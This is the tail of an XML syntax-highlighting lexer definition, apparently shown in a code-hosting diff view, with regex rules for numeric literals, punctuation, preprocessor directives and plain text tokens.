<rule pattern="\b((0(x|X)[0-9a-fA-F]*)|(([0-9]+\.?[0-9]*)|(\.[0-9]+))((e|E)(\+|-)?[0-9]+)?)(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\b">
|
||||
<token type="LiteralNumber"/>
|
||||
</rule>
|
||||
<rule pattern="[;:,]">
|
||||
<token type="Punctuation"/>
|
||||
</rule>
|
||||
<rule pattern="#[ \t]*(if|else|elif|endif|define|undef|region|endregion|pragma)\b.*?\n">
|
||||
<token type="CommentPreproc"/>
|
||||
</rule>
|
||||
<rule pattern="\w+">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
<rule pattern=".">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
</state>
|
||||
</rules>
|
||||
</lexer>
|
||||
Loaded 100 of 461 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user